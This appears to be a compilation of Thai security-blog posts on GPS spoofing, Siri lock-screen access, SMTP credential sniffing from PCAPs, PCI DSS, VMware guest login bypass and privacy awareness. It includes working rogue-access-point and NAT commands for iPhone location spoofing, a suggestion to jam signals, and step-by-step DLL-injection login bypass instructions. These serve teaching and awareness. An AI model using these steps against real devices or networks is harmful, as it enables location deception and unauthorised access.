1. ข้อมูลจาก Cell Tower Station: โดยปกติพวกเสารับ ส่ง ขยาย กระจายสัญญาณโทรศัพท์มือถือจะมี GPS receiver module อยู่ ซึ่งจะทำการรับสัญญาณข้อมูล GPS จากดาวเทียม แน่นอนว่ามีความแม่นยำสูงมาก โดยข้อมูลพวกนี้จะถูกส่งต่อไปยัง mobile phone ผ่านทางโครงข่ายโทรศัพท์เคลื่อนที่ GPRS,Edge หรือ 3G ซึ่งจะมีความรวดเร็วกว่าการรับสัญญาณจากดาวเทียมโดยตรง
2. ข้อมูลจาก Wi-Fi access point: ไม่รู้ว่าเคยสังเกตกันหรือไม่ครับ ว่าปัจจุบัน Wi-Fi access point ตาม city centre หรือตามจุดที่มีผู้คนอาศัยอยู่หนาแน่นต่าง ๆ ที่มี hi-speed internet เข้าถึงได้ เราจะพบว่ามี access point อยู่เป็นจำนวนมาก รูปด้านล่างเป็นตัวอย่างของ crowd-source Wi-Fi ของกรุงแบลิน(ภาษาเยอรมัน) ประเทศเยอรมนี จาก crowdflow\.net

AP เหล่านี้จะบ่งบอก location คร่าว ๆ ได้โดยวิเคราะห์จากชื่อ wireless network(ESSID), MAC ของ wireless network(BSSID) และ channel
3. ข้อมูลจาก GPS ของ smartphone: ข้อมูลประเภทนี้คุยกันไปแล้วนะครับใน [ตอนที่ 1](https://incognitolab.com/blogs/gps-attack-part-1)
ข้อมูลจากทั้ง 3 แหล่งจะถูกนำไปประมวลผลที่ location server โดยในช่วงปี 2008 Apple ใช้บริการของ Skyhook ซึ่งคิดค้นและเป็นเจ้าของสิทธิบัตรเทคนิค AGPS ที่ใช้ข้อมูลจากทั้ง 3 แหล่งไปประมวลผล รูปด้านล่างสามารถหาข้อมูลเพิ่มเติมจาก animation ที่อธิบาย technique ได้ใน skyhook นะครับ
แต่ปัจจุบัน iPhone(iOS5) จะส่งข้อมูลดังกล่าวไปที่ Apple และทำงานโดยใช้ [service ของ google maps for mobile](https://www.apple.com/iphone/built-in-apps/maps-compass.html){rel=""nofollow""} เป็นหลัก ส่วน Android ใช้งานอยู่แล้ว (ผมทดลอง sniff traffic ขณะ locate ตำแหน่งดู)
{width="100%"}
รูปด้านบนผมทำการคัดกรองเฉพาะ ASCII character ที่เป็นตัวหนังสือที่อ่านออกมาแสดงเท่านั้น(จริง ๆ แล้วมีข้อมูลประเภท proprietary binary data อยู่อีกมาก) จะพบว่ามีการส่ง location data และ load map จาก google นำมาแสดงผล
หลักการโจมตี AGPS บน smartphone ก็คือเราจะทำอย่างไรก็ได้ครับที่ทำให้ข้อมูลที่นำไปประมวลผลที่ location server เกิดการผิดเพี้ยนไป หรือตัดข้อมูลจากบางแหล่งออกให้เหลือเฉพาะส่วนที่สามารถปลอมแปลงขึ้นมาได้ ส่วนจะทำอย่างไรนั้น ขอให้ผู้อ่านติืดตามบทความตอนถัดไปครับ
[/blogs/gps-attack-part-3](https://incognitolab.com/blogs/gps-attack-part-3)
# Siri บน iOS 6 สั่งงานได้ทั้งที่เครื่องล็อกอยู่
## Security ของ Siri กับ iOS6
กระแสของ Technology ช่วงนี้คงไม่มีอะไรมาแรงเกิด iPhone 5 และ iOS version ใหม่ล่าสุดซึ่งคือ iOS 6 นั่นเอง
เป็นเรื่องธรรมดาที่โทรศัพท์จะต้องมีการพัฒนา Feature ให้มี Function น่าใช้งานมากขึ้น รวมถึงการ update major version ครั้งนี้ก็คงจะมีการปิดช่องโหว่หลายๆช่องไปทำให้สาวก Jailbreak อาจจะต้องรอกันซักแป๊ปนึงนะครับ
iOS6 นี้ได้เพิ่มความสามารถของ Siri ให้สามารถเข้าถึงการทำงานของอุปกรณ์ได้ ถึงแม้ว่าอุปกรณ์ของเราจะ Lock อยู่ ซึ่ง Feature ที่ Siri ได้รับการพัฒนามาครั้งนี้ก็ได้แก่
- การส่ง Email โดย Siri
- การส่ง Message โดย Siri
- Facetime call โดย Siri
ซึ่งนี่แปลว่า เราสามารถสั่ง Siri ให้ส่ง Email หรือ Message โดยที่เราไม่ต้องใส่ Passcode ก่อนเลย
หรือแปลว่า
ใครก็ได้ที่เข้าถึงเครื่องเรา พูดภาษาอังกฤษพอสื่อสารกับ Siri ได้ก็จะสามารถ Spoofing Email หรือ Message โดยใช้ชื่อเราได้
ดังนั้นหากเราไม่ต้องการให้เหตุการณ์เช่นนี้เกิดขึ้นก็ควรจะไปแก้ไข Setting ดังนี้นะครับ
Settings –> General –> Passcode Lock –> Allow Access When Locked –> Siri –> Off

แล้วก็เป็นอีกครั้งหนึ่งที่ผมเห็นด้วยกับประโยคที่ว่า Security กับ User Friendly ไปด้วยกันได้ยาก
# Do you believe in mind reader?
เมื่อได้ดู Clip นี้จบ ผมนั่งยิ้มเลยครับ มีไอโม่งชุดดำนั่งกันเต็มเลยเพื่อที่จะช่วยกันหาข้อมูลให้กับ Dave
ในโลกความจริงแล้วเราอาจจะเจอไอโม่งชุดดำมากมายที่พยายามนั่งหาข้อมูลส่วนตัวเราอยู่ ซึ่งไอโม่งเหล่านี้ไม่มี Time constraint (ข้อจำกัดในเรื่องเวลา) ในการหาข้อมูลของเรานะครับ
ในยุคสมัยที่เฟื่องฟูของ Social network นี้ ข้อมูลส่วนตัว (Privacy) สามารถเข้าถึงและเปิดเผยได้ง่ายขึ้น ตัวอย่างเช่น ข้อมูลที่อยู่บน Facebook นั้นหาก User ไม่มี Security Awareness ก็จะ post ข้อมูลส่วนตัว ไปที่ wall ของตัวเองซึ่งลืมนึกไปว่าข้อมูลเหล่านี้อาจจะสามารถนำไปใช้ประโยชน์ได้ ไม่ว่าจะเป็น วันเกิด, ที่อยู่, เลขที่บัตรประชาชน, ชื่อสัตว์เลี้ยง, ฯลฯ
## Secure the human first
ผมเชื่อว่าปัจจุบันทุกคนมี Security Awareness ในระดับนึง คือ อย่างน้อยก็รู้ว่าไม่ควร Share Password ของตัวเองให้คนอื่นทราบ ซึ่งแน่นอน ไม่ค่อยจะเห็นคนแปะ Password ของตัวเองไว้ที่หน้า Wall Facebook แต่บางคนอาจจะลืมนึกไปถึงข้อมูลส่วนตัว (Privacy) ก็มีความสำคัญ เช่นการติดต่อธนาคาร กรณีเราลืม Password ทางธนาคารอาจจะ Verify (ตรวจสอบ) ตััวเราเอง โดยถามคำถามต่างๆนาๆ เช่น วันเกิด, วันหมดอายุบัตร, ที่อยู่, blah blah
ซึ่งบน Social network นี่แหละที่เป็นแหล่งสำคัญในการหาข้อมูลที่เป็น Privacy ของเรา หากคนไม่มี Security Awareness ก็มักจะ Post บอกเล่าเรื่องราวต่างๆของตัวเองผ่าน Wall ส่วนตัว ซึ่งไม่เคยได้ระวังว่าข้อมูลเหล่านี้อาจสามารถนำไปใช้ในทางที่ไม่ดีต่อเราได้ ยกตัวอย่างบน Facebook เวลาจะ Post อะไรบน Wall เราก็ควรจะมีการกำหนดว่าใครจะเห็นสิ่งที่เราจะ Post ได้บ้าง
---
หวังว่าทุกคนจะมี Security Awareness เพิ่มมากขึ้นเรื่อยๆนะครับ
> Be Vigilant
# GPS Attack part 3
[/blogs/gps-attack-part-2](https://incognitolab.com/blogs/gps-attack-part-2)
มาถึงตอนที่ 3 ซึ่งจะเป็นตอนสุดท้ายของ series แล้วนะครับ วันนี้ผมจะมาทดลองการโจมตี AGPS ที่อยู่บน iPhone ดูว่าจะทำอะไรได้บ้าง หลังจากนั้นก็จะพูดถึงรูปแบบการโจมตี GPS ขั้นสูงในปัจจุบัน
## Attack GPS บน iPhone แบบพื้น ๆ
1. หาข้อมูล Wireless AP ก่อนอื่นเราต้องมีฐานข้อมูลของ Wireless AP ก่อนซึ่งวิธีที่จะหานั้นเราไม่จำเป็นต้องไปเดินลุย scan เอาเองนะครับ ปัจจุบันมีของฟรีให้ใช้อยู่โดยต้องลงทะเบียนใช้งานก่อนที่ [WiGLE: Wireless Geographic Logging Engine](https://wigle.net/ "Wireless Geographic Logging Engine"){rel=""nofollow""}
พอสมัครเรียบร้อยแล้ว เราต้องการข้อมูล Wireless AP ที่อยู่บนแผนที่ วิธีที่จะ extract ออกมาเราต้องใช้ [IGiGLE: Irongeek’s WiGLE WiFi Database to Google Earth Client for Wardrive Mapping](https://www.irongeek.com/i.php?page=security/igigle-wigle-wifi-to-google-earth-client-for-wardrive-mapping "IGiGLE: Irongeek's WiGLE WiFi Database to Google Earth Client for Wardrive Mapping"){rel=""nofollow""}
ให้เรากรอก latitude และ longitude ของพื้นที่ที่เราสนใจภายในสี่เหลี่ยมสีแดง และกรอก username/password ที่สมัครใน WiGLE ส่วนค่าอื่น ๆ ช่างมัน จากนั้นกดปุ่ม By Lat/Long

iGiGLE จะไป query WiGLE และ convert เป็น KML file สำหรับเปิดบน Google Earth ดังรูป
ตอนนี้เราก็ได้ข้อมูล Wireless AP เพื่อไปใช้ในขั้นตอนต่อไปแล้วครับ
2. สร้าง Wireless AP ลวง ผมทำการทดลองตาม[ผลการวิจัยจาก ETH Zurich](http://www.syssec.ch/press/location-spoofing-attacks-on-the-iphone-and-ipod){rel=""nofollow""} อาจจะไม่เหมือน 100% เนื่องจากขาดอุปกรณ์บางอย่าง ก่อนอื่นเตรียมเครื่องที่เป็น linux-based สักเครื่อง ที่มี wireless interface อย่างน้อย 1 interface และอีก interface ให้ใช้งาน internet ได้และติดตั้ง aircrack-ng suite ไว้ด้วย
2.1 Set wireless interface ให้อยู่ใน monitor mode
```bash
> airmon-ng start wlan0
```
2.2 สร้าง access point ให้ชื่อ SSID และ MAC address เหมือนกับสถานที่ที่เราอยากจะลวงขึ้นมา
```bash
> airbase-ng -e "SSID_NAME" -a 00:11:22:33:44:55 -c 11 mon0
```
2.3 set configuration ให้กับ access point เพื่อให้มันทำงานเหมือนของจริง และใช้งานได้จริง (at0 เป็น interface ที่เพิ่มขึ้นมาหลังจาก run airbase-ng)
```bash
> ifconfig at0 up
> ifconfig at0 192.168.10.1 netmask 255.255.255.0
> route add -net 192.168.10.0 netmask 255.255.255.0 gw 192.168.10.1
> /etc/init.d/dhcp3-server start
```
2.4 ทำการ set ค่า firewall ของเครื่องและทำการ route traffic ให้
```bash
> iptables --flush
> iptables --table nat --flush
> iptables --delete-chain
> iptables --table nat --delete-chain
> iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
> iptables --append FORWARD --in-interface at0 -j ACCEPT
> echo 1 > /proc/sys/net/ipv4/ip_forward
```
หลังจากที่ผมทำการ connect iPhone ให้ใช้งาน rogue AP ที่ทำการลวงขึ้นมาปรากฎว่า location ของ iPhone ที่ผมใช้งานนั้นมันเกิดมั่วขึ้นมาครับ รูปด้านล่างแสดงสถานที่จริง สังเกตว่าผมอยู่ใกล้ ๆ แม่น้ำ :br
ส่วนรูปนี้ผมเปิด map ใน iPhone ครับ สถานที่ต่างกันไกลพอสมควร
ผลการทดลอง location spoof ไม่ได้กลายเป็นสถานที่ที่ตั้งใจจะลวงขึ้นมาก็เนื่องจาก source ที่เหลือครับ คือข้อมูลจาก cell station และ GPS ซึ่งวิธีการจัดการก็คือการทำ jamming ให้สัญญาณมันใช้งานไม่ได้ โดยวิธีที่มีประสิทธิภาพที่สุดก็คือการใช้เครื่องมือครับ หาซื้อเอาตาม internet ยิ่งเราตัดสัญญาณจากเครือข่ายโทรศัพท์ GPS และ Access point รอบด้านมากเท่าใด และบังคับให้มาใช้งานผ่าน AP ของเราแทน location spoofing ก็จะได้ผลมากขึ้น \[การทำ jamming หากสร้างความรำคาญ หรือรบกวนผู้อื่น เป็นการกระทำที่ผิดกฎหมายนะครับ whitehat hacker จะไม่ทำเด็ดขาด การสาธิตของผมจึงต้องทำอยู่บนตึกสูงที่ไม่มีสัญญาน access point ตัวอื่นมากวน]
## GPS Attack ในทางสงคราม
เมื่อปลายปีที่แล้ว ถ้าได้ติดตามข่าวกันน่าจะเคยได้ยินเรื่องอากาศยานไร้คนขับ UAV(Unmanned Aerial Vehicle หรือ DRONE ซึ่งจัดเป็นเทคโนโลยีด้านสงครามขั้นสูงที่ประเทศมหาอำนาจใช้งานกัน) ของ US ถูกอิหร่านโจมตีโดยวิธีที่เรียกว่า GPS Spoofing หลังจากอิหร่านทำให้เจ้าเครื่อง US-DRONE ตกแล้ว ก็ได้ออกมาบอกว่าทำการเจาะเข้าไปใน US-DRONE และขโมยข้อมูลออกมาได้หมด ส่วนทางฝั่ง US ก็ออกมาตอบโต้ว่าทำไม่ได้หรอก เนื่องจากมีการเข้ารหัสไว้เป็นอย่างดี แต่ไม่นานหลังจากนั้นผบ.ของอิหร่านออกมาแถลงข่าวพร้อมทั้งภาพประกอบเครื่อง DRONE ของอิหร่าน แต่ผมยังไม่เคยเห็นมันบินนะครับ :br
## Current breakthrough
เมื่อไม่นานมานี้ อาจารย์ Todd E. Humphreys แห่ง University of Texas at Austin ได้บรรยายในงาน [TedXTalk](http://blog.ted.com/2012/07/16/todd-humphreys-to-testify-to-congress-about-gps-spoofing/){rel=""nofollow""} เกี่ยวกับเทคโนโลยี GPS Attack ที่สร้างขึ้นด้วยงบประมาณไม่เกิน 1000USD
[การทดลองของ Humphreys ](https://www.bbc.co.uk/news/technology-18643134){rel=""nofollow""}ได้ทำการสาธิตให้เจ้าหน้าที่ของ DHS-Department of Homeland Security เพื่อพิสูจน์งานวิจัยการโจมตี GPS โดยเครื่อง DRONE ที่นำมาสาธิตถูกโจมตีด้วย GPS spoofing attack ได้จริง ๆ หลักสำคัญของการโจมตีก็คือการสร้างสัญญาณลวง GPS และอีกเรื่องก็คือข้อมูลของ GPS ไม่มีการเข้ารหัส การโจมตีที่เรียกว่า GPS spoofing จึงทำได้สำเร็จ
ก็เป็นอันจบ series ของ GPS Attack แล้วนะครับ หวังว่าคงได้ความรู้เรื่อง GPS attack เพิ่มมากขึ้น
# Extract SMTP data from PCAP
ปกติแล้วชีวิตประจำวันสำหรับคนเล่น Internet นั้นคงหนีไม่พ้นการใช้งาน Web Site และ EMail ซึ่งทุกวันนี้ผมเองก็มักได้ยินแต่คนส่วนใหญ่แนะนำว่าเข้าใช้งาน Web ให้ระวังจะ Login ต้องมีดูที่ Address Bar ว่าต้องเป็น HTTPS ก่อนนะ แล้ว EMail ล่ะ ทำไมไม่ค่อยมีคนพูดถึงกันเลย ซึ่งผมคิดว่า EMail ก็ควรระมัดระวังในการใช้ด้วยเหมือนกัน
EMail Security ส่วนมากนั้นมักจะได้ยินเกี่ยวกับการทำ Encryption และ Digital Signature ซึ่งนั่นไม่ค่อยสนุกเท่าไรนัก ดังนั้นเลยคิดว่ามาลองนั่งแกะ SMTP packet ดีกว่า หากเรามี Packet ที่มีข้อมูล SMTP เราจะดูอะไรได้บ้างกันนะ ซึ่งโดยทั่วไปหากดูผ่าน Wireshark ก็คงจะนั่งไล่ Flow กันสนุกเลยทีเดียว
ตัวอย่างที่เอามาวันนี้ยืมมาจาก {rel=""nofollow""} ซึ่งถ้าเข้า Web ตามไปจะมี File PCAP ให้โหลด (PCAP = Packet Capture) เอามาเปิดดูด้วย WireShark จะพบข้อมูลตามด้านล่าง
{width="100%"}
รูปตัดมาเฉพาะช่วง Authentication ของ SMTP สิ่งที่เห็นคือช่วงตั้งแต่เริ่ม Authenticate กับ Server จนสำเร็จ ซึ่ง Key หลักของรูปนี้คงจะไม่ยากเท่าไร หากรู้จักกับ SMTP เป็นอย่างดีอยู่แล้ว โดย Password นั้นถูก Encode\[1] ในรูปแบบของ Base64 ซึ่งปัจจุบันผมยังเห็น Email Server ตามองค์กรต่าง ๆ หลายที่ยังเปิดใช้งานให้คุยแบบ Plaintext อยู่ซึ่งนั่นถือเป็นความเสี่ยงอย่างร้ายแรงพอสมควร เนื่องจากอาจทำให้ข้อมูลส่วนตัว หรือความลับบริษัทรั่วไหลได้ บางคนอาจคิดว่าถ้าได้ Password แล้วจะทำอะไรได้ หาก Sender ส่งเมล์แล้วไม่ได้ Save ไว้ เข้า Email ไปได้ก็ไม่มีประโชยน์ แต่มันคงจะไม่จริงไปซะหมด เพราะว่าเราสามารถได้ข้อมูลเพิ่มเติมจากอีก เช่น
สามารถอ่านเนื้อ Email ได้จาก WireShark ด้วย
{width="100%"}
แต่หากมี Attachment ใน Mail ไปด้วย การแยก Attachment นั้นโดยใช้ WireShark คงจะทำได้ยาก เนื่องจากสิ่งที่เห็นใน WireShark นั้นจะเป็น Binary Data แล้วถูกตัดออกเป็นส่วน ๆ ตามรูปด้านล่าง ซึ่งคงจะลำบากหากเราต้องมานั่งรวม Data แล้วสร้างเป็น File ขึ้นมาใหม่
{width="100%"}
ดังนั้นจึงขอแนะนำ Tool ชื่อ "Network Miner" {rel=""nofollow""}
ที่สามารถช่วยในการวิเคราะห์ Packet ให้เราได้รวมถึงสามารถสร้าง Reconstruct File ให้ได้ด้วย
{width="100%"}
สุดท้ายแล้วเราก็จะสามารถได้ Attachment มาครอบครอง หากใครสนใจ ลองไปดูโจทย์ที่ผ่านมาแล้วลองทำเพื่อความบันเทิงได้ที่ {rel=""nofollow""} ครับ
---
Encode คือ การแปลงรูปแบบการแสดงผลให้อยู่ในรูปแบบอื่น ๆ ซึ่งแตกต่างจาก Encrypt ที่หมายถึงการเข้ารหัส การถอดรหัส (Decrypt) นั้นต้องอาศัย Key ในการถอดรหัส แต่การ Decode นั้นไม่จำเป็นต้องใช้ Key
# PCI DSS ตอนที่ 1 — Introduction
Payment Card Industry Data Security Standard หรือ PCI DSS เป็นมาตรฐาน Payment Card Security Standard เริ่มขึ้นในปี 2006 โดยกลุ่มบริษัทยักใหญ่ด้าน credit card 5 บริษัทประกอบไปด้วย Visa Inc., MasterCard Worldwide, JCB International, Discover Financial Services และ American Express
ก่อนหน้าที่จะมี PCI DSS บริษัทบัตรเครดิตแต่ละเจ้าต่างก็มีมาตรฐานเป็นของตัวเอง การบังคับใช้ก็แตกต่างกัน บางเจ้าอาจจะบังคับให้ปฏิบัติตาม บางเจ้าอาจจะบอกว่าเป็น best practice จะทำหรือไม่ทำตามก็ได้ ปัญหาเรื่อง data breach ของ card ในแต่ละปีจึงมีมูลค่าความเสียหายค่อนข้างสูง
ในปี 2006 Payment Card Industry Security Standard Council–PCI SSC ถูกก่อตั้งขึ้นโดยกลุ่มบริษัทที่กล่าวถึง เพื่อทำการ set มาตรฐานด้าน Payment Card Security ให้เป็นมาตรฐานเดียวกัน และสามารถนำไปใช้งานได้อย่างมีประสิทธิภาพในชื่อ PCI DSS
เนื้อหาของ PCI DSS
ปัจจุบัน PCI DSS ที่ใช้งานกันอยู่เป็น version 2.0 ประกอบไปด้วย 6 categories, 12 high level requirements

หัวใจสำคัญของ PCI DSS จะ focus ไปที่เรื่องของ Account Data เป็นหลัก ถ้าหากระบบมีการ process, transmit หรือ store ข้อมูล Card Holder Data หรือ Sensitive Authentication Data จะถือว่าเข้าข่ายที่จะต้องบังคับใช้ PCI DSS
Card Holder Data ประกอบไปด้วย
1. PAN(Personal Account Number) เป็นเลข 16-digit
2. Card Holder Name ชื่อเข้าของบัตร
3. Service Code สำหรับควบคุมการทำงานของ Card Machine Response
4. Expiration Date แสดงเวลาที่บัตรจะหมดอายุ
ส่วน Sensitive Authentication Data จะประกอบไปด้วย
1. Full Magnetic Stripe Data ข้อมูลของแถบแม่เหล็กของบัตร หรือข้อมูลที่อยู่ใน chip ประเภท smartcard
2. CVV2/CVC2/CAV2/CID คือ Card Security Code แต่ละเจ้าจะเรียกชื่อต่างกัน โดย Visa เรียก CVV2, MasterCard เรียก CVC2, JCB เรียก CAV2, และ AMEX หรือ American Express เรียก CID เจ้า Card Security Code มีไว้เพื่อใช้ตรวจสอบความเป็นเจ้าของบัตร เนื่องจากการทำธุรกรรม online หรือผ่าน call centre ระบบหรือเจ้าหน้าที่จะทำการถาม code ด้วย ซึ่งต้องดูจากด้านหลังบัตรหรือด้านหน้าบัตร
3. PIN/PIN Block
สำหรับข้อสงสัยที่ว่าบริษัทหรือกิจการของท่านผู้อ่านจำเป็นต้องผ่านหรือได้รับการรับรองมาตรฐาน PCI DSS หรือไม่นั้น ผมจะขอเล่าให้ฟังในบทความตอนต่อไปครับ
# Bypass Authentication against Guest OS on VMWare Workstation
หลาย ๆ คนที่ทำงานด้าน System Administrator หรือ Security Administrator คงจะเคยใช้งาน VMWare Workstation มากันบ้างแล้ว ผมเชื่อว่าหลาย ๆ ท่านน่าจะมี Guest OS อยู่มากกว่า 1 ตัวอย่างแน่นอนอย่างน้อยก็เพื่อ การ backup หรือจำลองการทำงานเป็น Network
หากว่าเราเกิดลืม Password ของ Guest OS ขึ้นมาจะทำอย่างไร อยากจะ Reset Password ของ Guest OS มีวิธีการอย่างอื่นอีกมั้ย ซึ่งตอนนี้มี tools มาจัดการเรื่องนี้แล้วนะครับ หรือหากอยากประยุกต์ใช้ในงาน penetration testing ด้วยก็ทำได้เช่นกัน
1. ไป Download tool ชื่อ [VMInjector](https://github.com/batistam/VMInjector){rel=""nofollow""} กันก่อน ซึ่ง Tool ตัวนี้ถูกพัฒนาโดย [Marco Batista แห่ง SecForce](http://www.secforce.com/blog/2012/11/vminjector/){rel=""nofollow""} ที่เครื่องต้องมีการติดตั้ง python เอาไว้แล้วนะครับ
2. หาก Run ไม่ได้ให้ติดตั้ง psutil ลงไปก่อน
3. ก่อนที่จะ run เราต้อง run VMWare Workstation เอาไว้แล้วและทำการเปิด Guest OS ขึ้นมาก่อนนะครับ จากภาพใช้ VMWare Workstation 8 และ Guest OS เป็น Window XP-SP3
4. Run tool vminjector ตามภาพ
5. เลือก Target Guest OS ที่ต้องการ bypass login
6. หาก bypass สำเร็จจะแสดงข้อความ
7. VMInjector จะทำการใช้เทคนิคที่เรียกว่า DLL Injection เพื่อไปเปลี่ยนแปลงค่า Memory ที่ Process ของ VMWare Workstation ใช้งานอยู่
8. ลอง Monitor ดู Process จะพบว่าถูก Inject เรียบร้อย Memory ของ VMGuest ถูกเปลี่ยนแปลงโดยถ้าสังเกตจะพบว่า Process ID 5016 ที่ชื่อ vmware-vmx มีการเรียก vminjector32.dll ซึ่งจะไปหาว่าใน RAM มี address ของ Guess OS อยู่ที่ไหนและทำการเปลี่ยนแปลงค่า และสังเกตต่อจะพบว่า Thread ที่เรียกใช้งานทำงานได้โดยไม่เกิดปัญหาขึ้น ซึ่งตอนนี้ Memory ของ Guest OS ที่เราจะทำการ bypass ก็ถูกเปลี่ยนแปลงแล้ว
9. หลังจากนี้ Administrator Password ก็ไม่ต้องกรอกครับ ให้ใส่ค่า Blank เพื่อ Bypass เลย :br
อย่าตกใจนะครับว่าเราไปเปลี่ยน password ของ Guest OS จริง ๆ หาก restart Guest OS แล้ว ทุกอย่างจะเหมือนเดิม password ของ Administrator จะไม่ใช่ค่า Blank นะครับ
## Tips and Tricks
วิธีการดังกล่าวก็จะช่วยให้เรา Bypass Authentication ของ Guest OS ได้ อยากจะแนะนำว่าหากเราไปใช้ในงาน Penetration Test ก็สามารถทำได้โดย Scan หาเครื่องที่มี VMWare WorkStation ให้เจอจากนั้นก็ Compromise เครื่องนั้นให้ได้ และลองดูว่า Guest OS มีข้อมูลอะไร(Intel)ที่สำคัญต่อการดำเนินการในขั้นตอนถัด ๆ ไปบ้าง
# How many CISSPs in Thailand?
เนื่องจากเห็น Keyword ที่ Search เข้ามาเจอ Incognitolab ของเรา บางท่านต้องการทราบข้อมูลของคนที่มี Certificate ของ ISC2 ซึ่งผมเห็นว่าก็มีประโยชน์ดีครับ เพราะถ้าไม่ใช่ Member ของ ISC2 (และยังสอบไม่ผ่าน \[ไม่แน่ใจว่า Member อย่างเดียวพอหรือไม่]) ก็จะไม่สามารถเข้าถึงข้อมูลได้
ข้อมูลล่าสุด ณ วันที่ 5 พฤศจิกายน 2555 ข้อมูลเป็นเฉพาะของคนไทยที่ Apply Cert เรียบร้อยนะครับ ซึ่งเป็นไปได้ว่ามีคนสอบผ่านเยอะกว่านี้ แต่ยังประสบการณ์ไม่ถึงก็เลย Apply ไม่ได้
| Certificate | Member count |
| ----------- | ------------ |
| SSCP | 13 |
| CSSLP | 8 |
| CISSP | 150 |
| ISSAP | 1 |
| ISSEP | 1 |
# The Second World War
## สงครามโลกครั้งที่ 2 กับ โลกของ Security
หลายคนอาจจะสงสัยว่าสงครามโลกเกี่ยวกับเรื่อง Security ได้อย่างไร แต่หากเป็นคนที่พอคุ้นเคยกับประวัติศาสตร์ อาจเคยได้ยินชื่อเครื่อง "Enigma" มาบ้าง
เครื่อง Enigma นั้นมองผ่านๆอาจจะนึกว่าเป็นเครื่องพิมพ์ดีดได้ แต่จริงๆแล้วเครื่อง Enigma เป็นเครื่องที่ใช้ในการเข้ารหัส (Encrypt) และถอดรหัส (Decrypt)
ในช่วงสงครามโลกครั้งที่ 2 นั้น เยอรมันใช้กองทัพเรืิอดำน้ำ U-Boat เพื่อทำการโจมตีอังกฤษ โดยลักษณะการโจมตีนั้นจะการเริ่มตระเวนหาเหยื่อ เมื่อเจอเหยื่อแล้วก็จะทำการส่งสัญญาณเรียกเรือดำน้ำลำอื่นเข้ามาช่วยโจมตีเหยื่ออย่างรวดเร็ว ซึ่งการส่งสัญญาณเรียกเรือดำน้ำลำอื่น เพื่อบอกพิกัดจุดโจมตีนั้นอาศัยเครื่อง Enigma ในการรับ-ส่งข้อมูล ทำให้อังกฤษซึ่งไม่สามารถถอดรหัสข้อมูลได้ ตกเป็นฝ่ายเสียเปรียบอย่างมาก
จนกระทั่งในปี 1941 อังกฤษ ได้มีโอกาสเข้าไปค้นหาเรือดำน้ำ U-110 ซึ่งเป็นเรือดำน้ำของเยอรมันที่ถูกโจมตีอย่างหนัก จนทหารเยอรมันต้องสละเรือลำนี้ โดยในขณะที่สละเรือนั้น ทหารเยอรมันไม่ได้ทำลายข้อมูลต่างๆที่ใช้ในการเข้ารหัส ทำให้อังกฤษได้ข้อมูลเพิ่มเติมเกี่ยวกับการเข้ารหัส เช่น Codebook, Key, Setting ของเครื่อง Enigma ทำให้ฝ่ายอังกฤษมีข้อมูลเพิ่มเติมสำหรับการเคลื่อนไหวของเยอรมัน และใช้เป็นข้อมูลในการเอาชนะเยอรมัน จนทำให้สงครามโลกครั้งที่ 2 นั้นได้ยุติลงได้ ทั้งนี้ส่วนหนึ่งเกิดจากทีมงานนักคณิตศาสตร์ของประเทศอังกฤษ ได้ร่วมมือกันถอดรหัส โดยในขณะนั้นนักคณิตศาสตร์กลุ่มนี้ได้รวมตัวกันที่ Bletchley Park ซึ่งตั้งอยู่ระหว่างกลางของเมือง Oxford และ Cambridge เพื่อความสะดวกกับนักคณิตศาสตร์ทั้งหลาย ที่มาจาก University of Oxford และ University of Cambridge นั่นเอง
สิ่งหนึ่งที่สำคัญในการถอดรหัสคือ เครื่อง "Bombe"\*\* ซึ่งเป็นเครื่องที่ใช้สำหรับถอดรหัสของ Enigma และหนึ่งในทีมงานที่ผลิตเครื่องนี้ก็คือ \*\*Alan Turing สำหรับคนที่เรียนคอมพิวเตอร์ อาจจะเคยรู้จักกับ Turing’s Machine ซึ่งเป็นผลงานของ Alan Turing เช่นเดียวกันนั่นเอง
นี่เป็นส่วนหนึ่งสำหรับศาสตร์ของ Cryptography ที่แสดงให้เห็นว่ามีการให้ความสำคัญกับความลับ มีผลต่อประวัติศาสตร์ของโลก อย่างมาก หากใครสนใจอยากทราบเพิ่มเติม แนะนำให้อ่านหนังสือ The Code Book ของ Simon Singh ได้นะครับ
Reference:
- Enigma Machine – [http://en.wikipedia.org/wiki/Enigma\_machine](https://en.wikipedia.org/wiki/Enigma%5Fmachine){rel=""nofollow""}
- Bletchley Park – {rel=""nofollow""}
- The Bombe – [http://en.wikipedia.org/wiki/Bombe](https://en.wikipedia.org/wiki/Bombe){rel=""nofollow""}
- Alan Turing – [http://en.wikipedia.org/wiki/Alan\_Turing](https://en.wikipedia.org/wiki/Alan%5FTuring){rel=""nofollow""}
PS: ปัจจุบัน Bletchley Park เปิดให้เข้าไปเยี่ยมชมได้นะครับ
# Facebook Security Part 1: Privacy
ปัจจุบัน Social Network เป็นสิ่งที่ผู้ใช้งาน Internet มักจะนิยมใช้งานมากที่สุด ผมยังไม่เคยเห็นคนที่พกพาอุปกรณ์ประเภท smart phones หรือ tablet ไม่ใช้ Social Network สักคน บทความชุดนี้จะกล่าวถึง Social Network ยอดนิยมอย่าง Facebook ว่าผู้ใช้งานอย่างเรา ๆ ท่าน ๆ ควรจะใช้งานหรือตั้งค่าอย่างไรให้ปลอดภัย
## เรื่อง Privacy Setting (การตั้งค่าความเป็นส่วนตัว)
มีไว้สำหรับจัดการควบคุมสิทธิ์การเข้าถึง Facebook Page และการ Post บน TimeLine ซึ่งจัดเป็นเรื่องใหญ่ที่หลาย ๆ คนมักมองข้ามทั้ง ๆ ที่ Facebook ให้ความยืดหยุ่นและความปลอดภัยกับการตั้งค่าความเป็นส่วนตัวที่หลากหลาย เมื่อเทียบกับ Facebook ยุคแรก ๆ แล้ว(โดยส่วนตัวผมใช้งาน Facebook ตั้งแต่ปี 2006 สมัยนั้นรู้จักกันในหมู่นักเรียนนักศึกษาในมหาวิทยาลัยเท่านั้นเอง) ปัจจุบันปลอดภัยขึ้นมาก เราสามารถตั้ง่า Privacy Setting ได้โดยจากรูปเมื่อ Login เข้า Facebook แล้วให้เลือกไปที่ Privacy Setting
เมื่อ click เข้ามาแล้ว จะพบว่าจะมี menu การตั้งค่าความเป็นส่วนตัวดังภาพ ค่าโดย default เราสามารถกำหนดได้ที่นี่ซึ่งขอแนะนำว่าควรจะอนุญาตให้เฉพาะ Friends เท่านั้น
หรือถ้าจะตั้งค่าให้จำกัดมากกว่านี้ต้องเลือกไปที่ Custom และเลือกให้อนุญาตเฉพาะบางคน หรือซ่อนไม่ให้ใครบางคนเห็นก็ได้
